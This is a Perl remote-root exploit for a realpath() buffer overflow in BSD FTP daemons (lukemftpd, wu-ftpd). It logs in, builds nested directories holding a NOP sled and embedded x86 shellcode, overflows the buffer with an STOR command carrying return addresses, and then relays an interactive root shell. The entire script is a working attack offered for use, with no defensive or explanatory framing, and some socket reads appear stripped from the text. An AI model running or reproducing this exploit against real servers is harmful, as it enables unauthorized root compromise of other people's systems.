#!/usr/bin/perl # babcia padlina realpath()/ftp remote root exploit # # tested on: # - lukemftpd on freebsd 4.8-stable (but lukemftpd from -release won't work # because of stack alignment) # # should work after adjusting $ret and $align: # - lukemftpd on *bsd # - wu-ftpd on *bsd require 5.002; use strict; use sigtrap; use Socket; my($recvbuf, $host, $user, $pass, $iaddr, $paddr, $proto, $shellcode, $ret, $off, $align, $rin, $rout, $read, $pathlen, $retbuf, $c0de, $realpathbuf); # teso shellcode ripped from 7350obsd $c0de = "\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68"; $c0de .= "\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04"; $c0de .= "\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01"; $c0de .= "\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53"; $c0de .= "\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c"; $c0de .= "\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31"; $c0de .= "\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d"; $c0de .= "\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d"; $c0de .= "\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5"; $c0de .= "\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90"; $shellcode = "\x90" x (255 - length($c0de)) . $c0de; $ret = 0x806d1a2; # my freebsd box $realpathbuf = 1024; # size of realpath overflowed buffer sub getcwd { send(SOCKET, "PWD\r\n", 0) or die "send: $!\n"; $recvbuf = ; if ($recvbuf !~ /^257 .+/) { print $recvbuf; die "Exploit failed.\n"; } $recvbuf =~ /^257 "(.+)".*/; return $1; } if (@ARGV < 3) { print "Usage: $0 [align] [offset]\n"; exit; } ($host, $user, $pass, $align, $off) = @ARGV; if (defined($off)) { $ret += $off; } if (!defined($align)) { $align = 0; } print "real,- by venglin\@freebsd.lublin.pl\n\n"; print "RET: 0x" . sprintf('%lx', $ret) . "\n"; print "Align: $align\n\n"; $iaddr = inet_aton($host) or die "Unknown host: $host\n"; $paddr = sockaddr_in(21, $iaddr) or die "getprotobyname: $!\n"; $proto = getprotobyname('tcp') or die "getprotobyname: $!\n"; socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!\n"; connect(SOCKET, $paddr) or die "connect: $!\n"; do { $recvbuf = ; } while($recvbuf =~ /^220-.+/); print $recvbuf; if ($recvbuf !~ /^220 .+/) { die "Exploit failed.\n"; } send(SOCKET, "USER $user\r\n", 0) or die "send: $!\n"; $recvbuf = ; if ($recvbuf !~ /^(331|230) .+/) { print $recvbuf; die "Exploit failed.\n"; } send(SOCKET, "PASS $pass\r\n", 0) or die "send: $!\n"; do { $recvbuf = ; } while($recvbuf !~ /^(230|530) .+/); if ($recvbuf !~ /^230 .+/) { print $recvbuf; die "Exploit failed.\n"; } else { print "Logged in as $user/$pass.\n\n"; } for(;;) { send(SOCKET, "MKD " . "\x90"x255 . "\r\n", 0) or die "send: $!\n"; $recvbuf = ; if ($recvbuf !~ /^(257|550) .+/) { print $recvbuf; die "Exploit failed.\n"; } send(SOCKET, "CWD " . "\x90"x255 . "\r\n", 0) or die "send :$!\n"; $recvbuf = ; if ($recvbuf !~ /^250 .+/) { print $recvbuf; die "Exploit failed.\n"; } $pathlen = $realpathbuf - length(getcwd()); print "MKD/CWD pathlen: $pathlen\n"; if ($pathlen <= 512) { last; } } print "Putting shellcode...\n"; $shellcode =~ s/\xff/\xff\xff/g; send(SOCKET, "MKD " . $shellcode . "\r\n", 0) or die "send: $!\n"; $recvbuf = ; if ($recvbuf !~ /^(257|550) .+/) { print $recvbuf; die "Exploit failed.\n"; } send(SOCKET, "CWD " . $shellcode . "\r\n", 0) or die "send :$!\n"; $recvbuf = ; if ($recvbuf !~ /^250 .+/) { print $recvbuf; die "Exploit failed.\n"; } print "Entering passive mode...\n"; send(SOCKET, "PASV" . "\r\n", 0) or die "send: $!\n"; $recvbuf = ; if ($recvbuf !~ /^227 .+ \((\d+),(\d+),(\d+),(\d+),(\d+),(\d+)\).+/) { print $recvbuf; die "Exploit failed.\n"; } print "Storing file...\n"; $pathlen = $realpathbuf - length(getcwd()); $retbuf = "A" x $align; $retbuf .= pack('l', $ret) x (($pathlen - $align) / 4); $retbuf .= "A" x ($pathlen - length($retbuf) - 1); $retbuf =~ s/\xff/\xff\xff/g; send(SOCKET, "STOR " . $retbuf . "\r\n", 0) or die "send: $!\n"; $iaddr = inet_aton("$1.$2.$3.$4") or die "Unknown host: $host\n"; $paddr = sockaddr_in($5 * 256 + $6, $iaddr) or die "getprotobyname: $!\n"; $proto = getprotobyname('tcp') or die "getprotobyname: $!\n"; socket(SOCKET2, PF_INET, SOCK_STREAM, $proto) or die "socket: $!\n"; connect(SOCKET2, $paddr) or die "connect: $!\n"; close(SOCKET2); sleep 1; send(SOCKET, "id\n", 0) or die "send: $!\n"; $recvbuf = ; if ($recvbuf !~ /^uid=.+/) { die "Exploit failed.\n"; } else { print $recvbuf; } vec($rin, fileno(STDIN), 1) = 1; vec($rin, fileno(SOCKET), 1) = 1; for(;;) { $read = select($rout=$rin, undef, undef, undef); if (vec($rout, fileno(STDIN), 1) == 1) { if (sysread(STDIN, $recvbuf, 1024) == 0) { exit; } send(SOCKET, $recvbuf, 0); } if (vec($rout, fileno(SOCKET), 1) == 1) { if (sysread(SOCKET, $recvbuf, 1024) == 0) { exit; } syswrite(STDIN, $recvbuf, 1024); } } close SOCKET; exit;